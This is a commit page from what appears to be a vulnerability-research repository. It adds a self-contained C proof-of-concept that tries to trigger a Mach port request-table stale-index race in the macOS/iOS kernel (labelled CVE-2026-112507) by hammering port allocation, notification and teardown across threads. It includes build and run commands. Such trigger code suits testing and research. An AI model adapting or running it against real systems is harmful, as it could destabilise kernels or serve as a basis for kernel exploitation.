v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,266 @@
|
||||
// kern.ipc · XNU ipc_port.c request-table index consumers · CVE-2026-112507
|
||||
// Mach port request-table stale-index race
|
||||
// C twin of the Swift POC: 4 pthreads drive allocate/notify/teardown rings on the task
|
||||
// port namespace for 6 s (depth 48, budget 6000). The 27.2 kernel added ipr != NULL /
|
||||
// table != NULL checks over every index-consumer of the per-space port-request table.
|
||||
// Build: clang -O2 -o cve-2026-112507 CVE-2026-112507.c -lpthread
|
||||
// Run: ./cve-2026-112507 [seconds] [workers] [depth]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#define TOTAL_BUDGET 6000
|
||||
|
||||
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
|
||||
typedef struct {
|
||||
long operations, allocations, notifications, sends, deallocations;
|
||||
int budget_exhausted;
|
||||
long notifications_refused;
|
||||
long budget;
|
||||
// kernel error codes, slot-hashed
|
||||
int err_codes[32]; long err_counts[32]; char err_names[32][40]; int nerrs;
|
||||
pthread_mutex_t lock;
|
||||
} stats_t;
|
||||
|
||||
static stats_t S;
|
||||
|
||||
static void record(kern_return_t kr) {
|
||||
if (kr == KERN_SUCCESS) return;
|
||||
pthread_mutex_lock(&S.lock);
|
||||
int slot = -1;
|
||||
for (int i = 0; i < S.nerrs; i++) if (S.err_codes[i] == kr) { slot = i; break; }
|
||||
if (slot < 0 && S.nerrs < 32) {
|
||||
slot = S.nerrs++;
|
||||
S.err_codes[slot] = kr;
|
||||
const char *n = mach_error_string(kr);
|
||||
snprintf(S.err_names[slot], sizeof S.err_names[slot], "%s", n ? n : "unknown");
|
||||
}
|
||||
if (slot >= 0) S.err_counts[slot]++;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
}
|
||||
|
||||
// ── the ring (mirror of KernelIPC.ring) ──
|
||||
// allocate RECEIVE rights, arm two notification kinds per port, tear half the ring down
|
||||
// while the other half still holds armed notifications — the interleaving the
|
||||
// request-table index consumers have to survive.
|
||||
//
|
||||
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
|
||||
// does not return an error on this platform — it SIGKILLs the process. Check first.
|
||||
typedef struct { long alloc, notify, send, dealloc; } ring_result;
|
||||
|
||||
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
|
||||
ring_result r = {0, 0, 0, 0};
|
||||
mach_port_name_t ports[512];
|
||||
int nports = 0;
|
||||
if (depth > 512) depth = 512;
|
||||
|
||||
for (int i = 0; i < depth; i++) {
|
||||
if (*budget <= 0) break;
|
||||
mach_port_name_t name = 0;
|
||||
kern_return_t kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &name);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
ports[nports++] = name;
|
||||
r.alloc++;
|
||||
(*budget)--;
|
||||
} else {
|
||||
record(kr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// MACH_MSG_TYPE_MAKE_SEND on our own receive right keeps the port alive
|
||||
for (int i = 0; i < nports; i++) {
|
||||
mach_port_t p = ports[i];
|
||||
mach_port_t prev = 0;
|
||||
kern_return_t kr1 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
|
||||
if (kr1 != KERN_SUCCESS) {
|
||||
record(kr1);
|
||||
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
|
||||
}
|
||||
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
|
||||
r.notify++;
|
||||
|
||||
mach_port_t prev2 = 0;
|
||||
kern_return_t kr2 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
|
||||
if (kr2 != KERN_SUCCESS) {
|
||||
record(kr2);
|
||||
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
|
||||
}
|
||||
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
|
||||
r.notify++;
|
||||
}
|
||||
|
||||
// teardown half the ring while the other half still holds armed notifications
|
||||
for (int i = 0; i < nports; i += 2) {
|
||||
mach_port_t p = ports[i];
|
||||
mach_port_urefs_t refs = 0;
|
||||
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS && refs > 0) {
|
||||
kern_return_t kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1);
|
||||
if (kr != KERN_SUCCESS) record(kr);
|
||||
}
|
||||
r.dealloc++;
|
||||
}
|
||||
|
||||
for (int i = 1; i < nports; i += 2) {
|
||||
mach_port_t p = ports[i];
|
||||
mach_msg_header_t header;
|
||||
memset(&header, 0, sizeof header);
|
||||
header.msgh_bits = (mach_msg_bits_t)MACH_MSG_TYPE_COPY_SEND;
|
||||
header.msgh_size = (mach_msg_size_t)sizeof header;
|
||||
header.msgh_remote_port = p;
|
||||
header.msgh_local_port = 0;
|
||||
header.msgh_id = 0;
|
||||
kern_return_t kr = mach_msg_send(&header);
|
||||
if (kr != KERN_SUCCESS) record(kr);
|
||||
r.send++;
|
||||
}
|
||||
|
||||
// release every remaining right, then the name; destruct with delta 0 only
|
||||
// succeeds once the right count is already 0
|
||||
for (int i = 0; i < nports; i++) {
|
||||
mach_port_t p = ports[i];
|
||||
mach_port_urefs_t urefs = 0;
|
||||
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS && urefs > 0) {
|
||||
mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -(mach_port_delta_t)urefs);
|
||||
}
|
||||
kern_return_t kr = mach_port_destruct(task, p, 0, 0);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
// deliberate fallback: destroy tolerates outstanding rights
|
||||
#pragma clang diagnostic push
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
mach_port_destroy(task, p);
|
||||
#pragma clang diagnostic pop
|
||||
}
|
||||
r.dealloc++;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
static double g_seconds = 6.0;
|
||||
static struct timespec g_deadline;
|
||||
|
||||
static int past_deadline(void) {
|
||||
struct timespec now;
|
||||
clock_gettime(CLOCK_MONOTONIC, &now);
|
||||
if (now.tv_sec > g_deadline.tv_sec) return 1;
|
||||
if (now.tv_sec == g_deadline.tv_sec && now.tv_nsec >= g_deadline.tv_nsec) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int g_depth = 48;
|
||||
|
||||
static void *worker(void *arg) {
|
||||
(void)arg;
|
||||
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
|
||||
|
||||
while (!past_deadline()) {
|
||||
pthread_mutex_lock(&S.lock);
|
||||
int remaining = (int)S.budget;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
if (remaining <= 0) {
|
||||
pthread_mutex_lock(&S.lock);
|
||||
S.budget_exhausted = 1;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
break;
|
||||
}
|
||||
|
||||
int slice = g_depth < remaining ? g_depth : remaining;
|
||||
long refused = 0;
|
||||
ring_result res = ring(mach_task_self(), slice, &slice, &refused);
|
||||
if (refused > 0) {
|
||||
pthread_mutex_lock(&S.lock);
|
||||
S.notifications_refused += refused;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
}
|
||||
local_alloc += res.alloc;
|
||||
local_notify += res.notify;
|
||||
local_send += res.send;
|
||||
local_dealloc += res.dealloc;
|
||||
local_ops += 4;
|
||||
|
||||
pthread_mutex_lock(&S.lock);
|
||||
S.budget -= res.alloc;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&S.lock);
|
||||
S.operations += local_ops;
|
||||
S.allocations += local_alloc;
|
||||
S.notifications += local_notify;
|
||||
S.sends += local_send;
|
||||
S.deallocations += local_dealloc;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// ── baseline (mirror of KernelIPC.baseline) ──
|
||||
static void baseline(void) {
|
||||
mach_port_t task = mach_task_self();
|
||||
|
||||
mach_port_t bootstrap = 0;
|
||||
kern_return_t kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap);
|
||||
printf("bootstrap: %s port=%d\n", mach_error_string(kr), bootstrap);
|
||||
|
||||
mach_port_name_array_t names = NULL;
|
||||
mach_port_type_array_t types = NULL;
|
||||
mach_msg_type_number_t name_count = 0, type_count = 0;
|
||||
kern_return_t kr2 = mach_port_names(task, &names, &name_count, &types, &type_count);
|
||||
printf("port_names: %s count=%u\n", mach_error_string(kr2), name_count);
|
||||
if (names) {
|
||||
vm_deallocate(task, (vm_address_t)(uintptr_t)names, name_count * sizeof(mach_port_name_t));
|
||||
}
|
||||
if (types) {
|
||||
vm_deallocate(task, (vm_address_t)(uintptr_t)types, type_count * sizeof(mach_port_type_t));
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_seconds = argc > 1 ? atof(argv[1]) : 6.0;
|
||||
int workers = argc > 2 ? atoi(argv[2]) : 4;
|
||||
g_depth = argc > 3 ? atoi(argv[3]) : 48;
|
||||
if (g_depth > 512) g_depth = 512;
|
||||
|
||||
pthread_mutex_init(&S.lock, NULL);
|
||||
S.budget = TOTAL_BUDGET;
|
||||
|
||||
printf("— baseline —\n");
|
||||
baseline();
|
||||
|
||||
struct timespec start;
|
||||
clock_gettime(CLOCK_MONOTONIC, &start);
|
||||
g_deadline.tv_sec = (time_t)(start.tv_sec + g_seconds);
|
||||
g_deadline.tv_nsec = start.tv_nsec;
|
||||
|
||||
printf("\n— race: %.0f s, %d workers, depth %d, budget %d —\n",
|
||||
g_seconds, workers, g_depth, TOTAL_BUDGET);
|
||||
pthread_t threads[8];
|
||||
if (workers > 8) workers = 8;
|
||||
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
|
||||
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
|
||||
|
||||
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
|
||||
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
|
||||
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
|
||||
if (S.notifications_refused > 0) {
|
||||
printf("notifications refused %ld times — this platform does not allow notification\n"
|
||||
"registration on own ports, so the request-table path cannot be armed here\n",
|
||||
S.notifications_refused);
|
||||
}
|
||||
if (S.nerrs > 0) {
|
||||
printf("kernel errors:\n");
|
||||
for (int i = 0; i < S.nerrs; i++) {
|
||||
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
|
||||
}
|
||||
}
|
||||
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
|
||||
pthread_mutex_destroy(&S.lock);
|
||||
return 0;
|
||||
}
|
||||
Reference in new issue
Block a user